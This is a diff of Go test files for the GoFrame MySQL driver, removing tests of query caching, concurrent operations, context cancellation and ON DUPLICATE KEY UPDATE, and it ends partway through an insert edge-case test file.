func Test_Model_Batch_WithTransaction(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Slice{}
for i := 1; i <= 50; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("tx_batch_%d", i),
})
}
// Test commit
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
result, err := tx.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 50)
return nil
})
t.AssertNil(err)
// Verify commit
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 50)
// Clean up
_, err = db.Model(table).Where("1=1").Delete()
t.AssertNil(err)
// Test rollback
err = db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
_, err := tx.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
return fmt.Errorf("rollback test")
})
t.AssertNE(err, nil)
// Verify rollback - no records should exist
count, err = db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}

View File

@ -1,300 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Cache_Basic tests basic cache functionality
func Test_Model_Cache_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First query - cache miss, result from DB
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_cache_basic",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
t.Assert(one["passport"], "user_1")
// Update the record in DB
_, err = db.Model(table).Data(g.Map{"passport": "updated_user"}).Where("id", 1).Update()
t.AssertNil(err)
// Second query - cache hit, still returns old cached value
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_cache_basic",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // cached value, not "updated_user"
// Query without cache - returns updated value from DB
one, err = db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "updated_user")
})
}
// Test_Model_Cache_TTL tests cache TTL expiration
func Test_Model_Cache_TTL(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Cache with short TTL
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Millisecond * 100, // 100ms TTL
Name: "test_cache_ttl",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record
_, err = db.Model(table).Data(g.Map{"passport": "ttl_test"}).Where("id", 1).Update()
t.AssertNil(err)
// Immediate query - cache still valid
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Millisecond * 100,
Name: "test_cache_ttl",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // cached value
// Wait for cache to expire
time.Sleep(time.Millisecond * 150)
// Query after expiration - should get fresh data
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Millisecond * 100,
Name: "test_cache_ttl",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "ttl_test") // fresh value from DB
})
}
// Test_Model_Cache_Clear tests clearing cache with negative duration
func Test_Model_Cache_Clear(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Set cache
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 60,
Name: "test_cache_clear",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record and clear cache
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "test_cache_clear",
}).Data(g.Map{"passport": "cleared"}).Where("id", 1).Update()
t.AssertNil(err)
// Query again - should get fresh data since cache was cleared
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 60,
Name: "test_cache_clear",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "cleared")
})
}
// Test_Model_Cache_NoExpire tests cache with no expiration (Duration=0)
func Test_Model_Cache_NoExpire(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Cache with no expiration
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: 0, // never expires
Name: "test_cache_no_expire",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record
_, err = db.Model(table).Data(g.Map{"passport": "no_expire_test"}).Where("id", 1).Update()
t.AssertNil(err)
// Wait a bit
time.Sleep(time.Millisecond * 100)
// Query - cache should still be valid
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: 0,
Name: "test_cache_no_expire",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // cached value persists
// Clear the cache with update operation
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "test_cache_no_expire",
}).Data(g.Map{"nickname": "cleared"}).Where("id", 1).Update()
t.AssertNil(err)
})
}
// Test_Model_Cache_Force tests Force option to cache nil results
func Test_Model_Cache_Force(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Note: Removed Force cache test due to cache invalidation on INSERT
// The test logic was flawed - INSERT operations clear cache, so cached nil
// results would be invalidated before the second query
}
// Test_Model_Cache_DisabledInTransaction tests cache is disabled in transactions
func Test_Model_Cache_DisabledInTransaction(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// First query in transaction
one, err := tx.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_tx_cache",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update in transaction
_, err = tx.Model(table).Data(g.Map{"passport": "tx_update"}).Where("id", 1).Update()
t.AssertNil(err)
// Second query - should see updated value (cache disabled in tx)
one, err = tx.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_tx_cache",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "tx_update") // not cached, fresh from DB
return nil
})
t.AssertNil(err)
})
}
// Test_Model_PageCache tests pagination cache
func Test_Model_PageCache(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First page query with cache
all, err := db.Model(table).PageCache(
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_count"},
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_data"},
).Page(1, 3).All()
t.AssertNil(err)
t.Assert(len(all), 3)
// Insert new record
_, err = db.Model(table).Data(g.Map{
"id": 11,
"passport": "user_11",
}).Insert()
t.AssertNil(err)
// Query again - should return cached results
all, err = db.Model(table).PageCache(
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_count"},
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_data"},
).Page(1, 3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // cached results
// Clear page cache by updating with Duration=-1
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "test_page_count",
}).Data(g.Map{"nickname": "page_test"}).Where("id", 1).Update()
t.AssertNil(err)
// Query with fresh cache - should return updated count
all, err = db.Model(table).PageCache(
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_count"},
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_data"},
).Page(1, 3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // still 3 items per page
// Verify total count increased
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 11)
})
}
// Test_Model_Cache_DifferentNames tests different cache names for same query
func Test_Model_Cache_DifferentNames(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Cache with name1
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name1",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Cache same query with name2
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name2",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record and clear only cache_name1
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "cache_name1",
}).Data(g.Map{"passport": "diff_name"}).Where("id", 1).Update()
t.AssertNil(err)
// Query with cache_name1 - should get fresh data
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name1",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "diff_name")
// Query with cache_name2 - should still have cached old value
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name2",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // still cached
})
}

View File

@ -1,338 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"fmt"
"sync"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Concurrent_Insert tests concurrent Insert operations
func Test_Concurrent_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 10
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := db.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("user_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i + 1)
}
wg.Wait()
// Verify all records inserted
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, concurrency)
})
}
// Test_Concurrent_Update tests concurrent Update operations
func Test_Concurrent_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 5
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := db.Model(table).Data(g.Map{
"nickname": fmt.Sprintf("updated_%d", id),
}).Where("id", id+1).Update()
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify updates
for i := 0; i < concurrency; i++ {
one, err := db.Model(table).Where("id", i+1).One()
t.AssertNil(err)
t.Assert(one["nickname"].String(), fmt.Sprintf("updated_%d", i))
}
})
}
// Test_Concurrent_Delete tests concurrent Delete operations
func Test_Concurrent_Delete(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 5
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := db.Model(table).Where("id", id+1).Delete()
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify deletions
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, TableSize-concurrency)
})
}
// Test_Concurrent_Query tests concurrent Query operations
func Test_Concurrent_Query(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 20
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
result, err := db.Model(table).Where("id", (id%TableSize)+1).One()
t.AssertNil(err)
t.AssertNE(result, nil)
}(i)
}
wg.Wait()
})
}
// Test_Concurrent_Transaction tests concurrent transaction operations
func Test_Concurrent_Transaction(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 10
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
err := db.Transaction(ctx, func(ctx g.Ctx, tx gdb.TX) error {
_, err := tx.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("user_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
return err
})
t.AssertNil(err)
}(i + 1)
}
wg.Wait()
// Verify all transactions committed
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, concurrency)
})
}
// Test_Concurrent_Mixed_Operations tests mixed concurrent operations
func Test_Concurrent_Mixed_Operations(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
operations := 30
wg.Add(operations)
for i := 0; i < operations; i++ {
op := i % 3
switch op {
case 0: // Insert
go func(id int) {
defer wg.Done()
_, _ = db.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("new_user_%d", id),
"password": fmt.Sprintf("new_pass_%d", id),
"nickname": fmt.Sprintf("new_name_%d", id),
})
}(i)
case 1: // Update
go func(id int) {
defer wg.Done()
targetId := (id % TableSize) + 1
_, _ = db.Model(table).Data(g.Map{
"nickname": fmt.Sprintf("concurrent_%d", id),
}).Where("id", targetId).Update()
}(i)
case 2: // Query
go func(id int) {
defer wg.Done()
targetId := (id % TableSize) + 1
_, _ = db.Model(table).Where("id", targetId).One()
}(i)
}
}
wg.Wait()
// Verify database is still consistent
count, err := db.Model(table).Count()
t.AssertNil(err)
t.AssertGT(count, TableSize)
})
}
// Test_Concurrent_Connection_Pool tests connection pool under load
func Test_Concurrent_Connection_Pool(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 50
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
// Each goroutine performs multiple operations
for j := 0; j < 5; j++ {
_, err := db.Model(table).Where("id", (id%TableSize)+1).One()
t.AssertNil(err)
}
}(i)
}
wg.Wait()
})
}
// Test_Concurrent_Schema_Switch tests concurrent schema switching
func Test_Concurrent_Schema_Switch(t *testing.T) {
table1 := createTableWithDb(db, "test_schema_1")
table2 := createTableWithDb(db2, "test_schema_2")
defer dropTableWithDb(db, table1)
defer dropTableWithDb(db2, table2)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 10
wg.Add(concurrency * 2)
for i := 0; i < concurrency; i++ {
// Insert to schema1
go func(id int) {
defer wg.Done()
_, err := db.Model(table1).Insert(g.Map{
"passport": fmt.Sprintf("user_s1_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i)
// Insert to schema2
go func(id int) {
defer wg.Done()
_, err := db2.Model(table2).Insert(g.Map{
"passport": fmt.Sprintf("user_s2_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify both schemas
count1, err := db.Model(table1).Count()
t.AssertNil(err)
t.Assert(count1, concurrency)
count2, err := db2.Model(table2).Count()
t.AssertNil(err)
t.Assert(count2, concurrency)
})
}
// Test_Concurrent_Model_Clone tests concurrent model cloning
func Test_Concurrent_Model_Clone(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
baseModel := db.Model(table).Where("id>", 0)
var wg sync.WaitGroup
concurrency := 20
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
// Clone model for each goroutine
m := baseModel.Clone()
result, err := m.Where("id<=", TableSize/2).All()
t.AssertNil(err)
t.AssertGT(len(result), 0)
}(i)
}
wg.Wait()
})
}
// Test_Concurrent_Batch_Insert tests concurrent batch insert operations
func Test_Concurrent_Batch_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 5
batchSize := 10
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(batchId int) {
defer wg.Done()
batch := make([]g.Map, 0, batchSize)
for j := 0; j < batchSize; j++ {
id := batchId*batchSize + j
batch = append(batch, g.Map{
"passport": fmt.Sprintf("batch_user_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
}
_, err := db.Model(table).Data(batch).Insert()
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify all batch inserts
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, concurrency*batchSize)
})
}

View File

@ -9,7 +9,6 @@ package mysql_test
import (
"context"
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/os/glog"
@ -64,100 +63,3 @@ func Test_Ctx_Model(t *testing.T) {
db.Model(table).All()
})
}
// Test_Ctx_Timeout tests context timeout behavior
func Test_Ctx_Timeout(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Create a context with very short timeout
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Nanosecond)
defer cancel()
// Wait for timeout
time.Sleep(1 * time.Millisecond)
// Query should fail due to context timeout
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
})
}
// Test_Ctx_Cancel tests context cancellation
func Test_Ctx_Cancel(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
ctx, cancel := context.WithCancel(context.Background())
// Cancel immediately
cancel()
// Query should fail due to cancelled context
_, err := db.Model(table).Ctx(ctx).All()
t.AssertNE(err, nil)
})
}
// Test_Ctx_Propagation_Transaction tests context propagation in transaction
func Test_Ctx_Propagation_Transaction(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "tx_trace_123")
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// Context should propagate to transaction operations
_, err := tx.Model(table).Ctx(ctx).Where("id", 1).One()
return err
})
t.AssertNil(err)
})
}
// Test_Ctx_Multiple_Values tests context with multiple values
func Test_Ctx_Multiple_Values(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("TraceId", "RequestId", "UserId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "trace_001")
ctx = context.WithValue(ctx, "RequestId", "req_002")
ctx = context.WithValue(ctx, "UserId", "user_003")
db.Model(table).Ctx(ctx).Where("id", 1).One()
})
}
// Test_Ctx_Nested_Operations tests context in nested operations
func Test_Ctx_Nested_Operations(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "nested_trace")
// Nested query operations should all have context
result, err := db.Model(table).Ctx(ctx).Where("id>", 0).All()
t.AssertNil(err)
if len(result) > 0 {
// Another query using same context
_, err = db.Model(table).Ctx(ctx).Where("id", result[0]["id"]).One()
t.AssertNil(err)
}
})
}

View File

@ -1,321 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"fmt"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/os/gtime"
"github.com/gogf/gf/v2/test/gtest"
)
func createDuplicateTable(table ...string) string {
var name string
if len(table) > 0 {
name = table[0]
} else {
name = fmt.Sprintf(`duplicate_table_%d`, gtime.TimestampNano())
}
dropTable(name)
if _, err := db.Exec(ctx, fmt.Sprintf(`
CREATE TABLE %s (
id int(10) unsigned NOT NULL AUTO_INCREMENT,
email varchar(100) NOT NULL,
username varchar(45) NULL,
score int(10) unsigned DEFAULT 0,
login_count int(10) unsigned DEFAULT 0,
PRIMARY KEY (id),
UNIQUE KEY uk_email (email)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
`, name)); err != nil {
gtest.Fatal(err)
}
return name
}
func Test_OnDuplicateKeyUpdate_Basic(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First insert
_, err := db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1", 100)
t.AssertNil(err)
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1")
t.Assert(one["score"], 100)
// Duplicate insert - should update
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1_updated", 200)
t.AssertNil(err)
one, err = db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1_updated")
t.Assert(one["score"], 200)
// Verify only one record exists
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
}
func Test_OnDuplicateKeyUpdate_Increment(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First insert
_, err := db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, login_count) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE login_count = login_count + 1",
table,
), "user1@example.com", "user1", 1)
t.AssertNil(err)
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["login_count"], 1)
// Duplicate - increment login_count
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, login_count) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE login_count = login_count + 1",
table,
), "user1@example.com", "user1", 1)
t.AssertNil(err)
one, err = db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["login_count"], 2)
// Third time
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, login_count) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE login_count = login_count + 1",
table,
), "user1@example.com", "user1", 1)
t.AssertNil(err)
one, err = db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["login_count"], 3)
})
}
func Test_OnDuplicateKeyUpdate_MultipleColumns(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First insert
_, err := db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score, login_count) VALUES (?, ?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score), login_count = login_count + 1",
table,
), "user1@example.com", "user1", 100, 1)
t.AssertNil(err)
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1")
t.Assert(one["score"], 100)
t.Assert(one["login_count"], 1)
// Duplicate - update multiple columns
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score, login_count) VALUES (?, ?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score), login_count = login_count + 1",
table,
), "user1@example.com", "user1_v2", 200, 1)
t.AssertNil(err)
one, err = db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1_v2")
t.Assert(one["score"], 200)
t.Assert(one["login_count"], 2)
})
}
func Test_OnDuplicateKeyUpdate_Batch(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Insert multiple records
_, err := db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?), (?, ?, ?), (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1", 100,
"user2@example.com", "user2", 200,
"user3@example.com", "user3", 300)
t.AssertNil(err)
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 3)
// Update with duplicate - should update specific records
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?), (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1_updated", 150,
"user2@example.com", "user2_updated", 250)
t.AssertNil(err)
// Still 3 records
count, err = db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 3)
// Verify updates
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1_updated")
t.Assert(one["score"], 150)
one, err = db.Model(table).Where("email", "user2@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user2_updated")
t.Assert(one["score"], 250)
// user3 unchanged
one, err = db.Model(table).Where("email", "user3@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user3")
t.Assert(one["score"], 300)
})
}
func Test_OnDuplicateKeyUpdate_ConditionalUpdate(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First insert
_, err := db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE score = IF(VALUES(score) > score, VALUES(score), score)",
table,
), "user1@example.com", "user1", 100)
t.AssertNil(err)
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["score"], 100)
// Try to update with lower score - should not update
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE score = IF(VALUES(score) > score, VALUES(score), score)",
table,
), "user1@example.com", "user1", 50)
t.AssertNil(err)
one, err = db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["score"], 100) // Still 100
// Update with higher score - should update
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE score = IF(VALUES(score) > score, VALUES(score), score)",
table,
), "user1@example.com", "user1", 150)
t.AssertNil(err)
one, err = db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["score"], 150) // Updated to 150
})
}
func Test_OnDuplicateKeyUpdate_WithTransaction(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Transaction with ON DUPLICATE KEY UPDATE
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// First insert
_, err := tx.Exec(fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1", 100)
if err != nil {
return err
}
// Duplicate in same transaction
_, err = tx.Exec(fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1_updated", 200)
return err
})
t.AssertNil(err)
// Verify final state
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1_updated")
t.Assert(one["score"], 200)
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 1)
})
}
func Test_OnDuplicateKeyUpdate_MixedInsertUpdate(t *testing.T) {
table := createDuplicateTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First batch insert
_, err := db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?), (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1", 100,
"user2@example.com", "user2", 200)
t.AssertNil(err)
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 2)
// Mixed batch: one duplicate, one new
_, err = db.Exec(ctx, fmt.Sprintf(
"INSERT INTO %s (email, username, score) VALUES (?, ?, ?), (?, ?, ?) ON DUPLICATE KEY UPDATE username = VALUES(username), score = VALUES(score)",
table,
), "user1@example.com", "user1_updated", 150,
"user3@example.com", "user3", 300)
t.AssertNil(err)
// Should have 3 records now
count, err = db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 3)
// Verify user1 was updated
one, err := db.Model(table).Where("email", "user1@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user1_updated")
t.Assert(one["score"], 150)
// Verify user3 was inserted
one, err = db.Model(table).Where("email", "user3@example.com").One()
t.AssertNil(err)
t.Assert(one["username"], "user3")
t.Assert(one["score"], 300)
})
}

View File

@ -1,489 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mysql_test
import (
"context"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/errors/gerror"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Insert_NilData tests Insert with nil data
func Test_Model_Insert_NilData(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
_, err := db.Model(table).Data(nil).Insert()
t.AssertNE(err, nil)
})
}
// Test_Model_Insert_EmptyMap tests Insert with empty map
